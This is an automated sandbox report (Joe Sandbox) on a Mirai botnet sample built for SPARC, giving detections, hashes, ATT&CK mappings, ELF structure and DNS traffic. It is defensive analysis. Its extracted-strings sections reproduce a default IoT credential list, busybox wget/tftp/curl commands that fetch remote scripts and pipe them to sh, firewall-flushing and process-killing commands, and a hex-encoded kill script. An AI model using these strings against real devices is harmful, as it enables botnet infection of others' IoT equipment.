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Linux Analysis Report
spc.elf

Overview

General Information

Sample name:	spc.elf
Analysis ID:	1584250
MD5:	3ce66b980351a277340651a220d6bce3
SHA1:	70fa0639880e10c54a0bfc24e9e95bdbdcc0097e
SHA256:	c38e079ecdf269312767c453ae64100ecb45dbe0df366adc08146ea93a434c69
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Yara detected Mirai

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584250
Start date and time:	2025-01-05 00:02:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	spc.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/0@2/0

Runtime Messages

Command:	/tmp/spc.elf
PID:	5526
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:

Process Tree

system is lnxubuntu20

spc.elf (PID: 5526, Parent: 5454, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/spc.elf

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
spc.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
5526.1.00007f47f8011000.00007f47f802b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: spc.elf

ReversingLabs: Detection: 28%

Source: spc.elf

String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd rm -rf dvrEncoder rtspd dvrUpdater dvrDecoder dvrRecorder ptzcontrol .ntpf .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/tmp//var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: /tmp/spc.elf (PID: 5526)

Socket: 127.0.0.1:43478

Jump to behavior

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: spc.elf	String found in binary or memory: http:///curl.sh
Source: spc.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echo
Source: Initial sample	String containing 'busybox' found: (191.235.89.0191.234.196.0191.235.53.0134.0.0.035.195.135.035.195.136.035.195.137.035.195.138.035.195.14.035.195.140.035.195.142.035.195.144.035.195.145.035.195.147.035.195.148.035.195.149.035.195.15.035.195.152.035.195.153.035.195.154.035.195.157.035.195.158.035.195.160.035.195.161.035.195.162.035.195.163.035.195.164.035.195.165.035.195.166.035.195.169.035.195.170.035.195.171.035.195.172.035.195.173.035.195.174.035.195.175.035.195.179.035.195.18.035.195.180.035.195.181.035.195.182.035.195.183.035.195.185.035.195.187.035.195.188.035.195.189.035.195.19.035.195.190.035.195.192.035.195.195.035.195.198.035.195.199.035.195.202.035.195.203.035.195.204.035.195.207.035.195.208.035.195.210.035.195.212.035.195.213.035.195.214.035.195.217.035.195.219.035.195.22.035.195.220.035.195.221.035.195.222.035.195.223.035.195.227.035.195.228.035.195.229.035.195.23.035.195.237.035.195.241.035.195.242.035.195.244.035.195.245.035.195.249.035.195.251.035.195.253.035.195.254.035.195.26.035.195.28.035.195.29.035.195.3.035.195.31.035.19
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample	String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd rm -rf dvrEncoder rtspd dvrUpdater dvrDecoder dvrRecorder ptzcontrol .ntpf .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///cu

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal56.troj.linELF@0/0@2/0

Source: /tmp/spc.elf (PID: 5526)

Queries kernel information via 'uname':

Jump to behavior

Source: spc.elf, 5526.1.0000564d958b5000.0000564d9593b000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sparc
Source: spc.elf, 5526.1.0000564d958b5000.0000564d9593b000.rw-.sdmp	Binary or memory string: MV!/etc/qemu-binfmt/sparc
Source: spc.elf, 5526.1.00007ffc18d92000.00007ffc18db3000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sparc/tmp/spc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/spc.elf
Source: spc.elf, 5526.1.00007ffc18d92000.00007ffc18db3000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sparc

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: spc.elf, type: SAMPLE
Source: Yara match	File source: 5526.1.00007f47f8011000.00007f47f802b000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: spc.elf, type: SAMPLE
Source: Yara match	File source: 5526.1.00007f47f8011000.00007f47f802b000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
spc.elf	29%	ReversingLabs	Linux.Trojan.Mirai

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	spc.elf	false		high
http:///curl.sh	spc.elf	false		high

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	176.119.150.11-i-2025-01-04T15_20_35.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.25
	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	arm5.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	main.arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	fuckunix.arm5.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	Space.arm.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	Space.sh4.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	Space.spc.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	Space.ppc.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	Space.arm5.elf	Get hash	malicious	Unknown	Browse	162.213.35.25

File type:	ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.070114544379575
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	spc.elf
File size:	105'072 bytes
MD5:	3ce66b980351a277340651a220d6bce3
SHA1:	70fa0639880e10c54a0bfc24e9e95bdbdcc0097e
SHA256:	c38e079ecdf269312767c453ae64100ecb45dbe0df366adc08146ea93a434c69
SHA512:	33720ba94b9c51691ab73e14b544fbd61f9829716179f70aa7679c61a6b222b8d5e44d358bf3e541923293557681a70b1049f333ccddb4d43744df9fdf8e23eb
SSDEEP:	1536:rG/ToiUsXyjpiVUWPQfzb4uQB5xQr3JZ4lwuIf0N87kgt6xXZJ55C7tAHysD4U:rGk1QBJl8IgEJZhCaHiU
TLSH:	3CA35A2276711A1BC4C8557B21E34732F3F2338A24A8D61B7E726E8EBB6455033277B5
File Content Preview:	.ELF...........................4.........4. ...(..........................................................g.........dt.Q................................@..(....@.Th................#.....`...`.....!..... ...@.....".........`......$ ... ...@...........`....

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	Sparc
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x101a4
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	104672
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10094	0x94	0x1c	0x0	0x6	AX	4
.text	PROGBITS	0x100b0	0xb0	0x151d8	0x0	0x6	AX	4
.fini	PROGBITS	0x25288	0x15288	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x252a0	0x152a0	0x4160	0x0	0x2	A	8
.ctors	PROGBITS	0x39404	0x19404	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x3940c	0x1940c	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x39418	0x19418	0x488	0x0	0x3	WA	8
.bss	NOBITS	0x398a0	0x198a0	0x62f8	0x0	0x3	WA	8
.shstrtab	STRTAB	0x0	0x198a0	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000	0x10000	0x19400	0x19400	6.0940	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x19404	0x39404	0x39404	0x49c	0x6794	3.3931	0x6	RW	0x10000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 5, 2025 00:02:50.268043041 CET	33079	53	192.168.2.15	8.8.8.8
Jan 5, 2025 00:02:50.268085957 CET	44813	53	192.168.2.15	8.8.8.8
Jan 5, 2025 00:02:50.274787903 CET	53	44813	8.8.8.8	192.168.2.15
Jan 5, 2025 00:02:50.275521040 CET	53	33079	8.8.8.8	192.168.2.15

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 5, 2025 00:02:50.268043041 CET	192.168.2.15	8.8.8.8	0xdb81	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Jan 5, 2025 00:02:50.268085957 CET	192.168.2.15	8.8.8.8	0xf6bf	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 5, 2025 00:02:50.275521040 CET	8.8.8.8	192.168.2.15	0xdb81	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false
Jan 5, 2025 00:02:50.275521040 CET	8.8.8.8	192.168.2.15	0xdb81	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: spc.elf PID: 5526, Parent PID: 5454

General

Start time (UTC):	23:02:47
Start date (UTC):	04/01/2025
Path:	/tmp/spc.elf
Arguments:	/tmp/spc.elf
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report spc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: spc.elf PID: 5526, Parent PID: 5454

General

Chronological Activities

Linux Analysis Report
spc.elf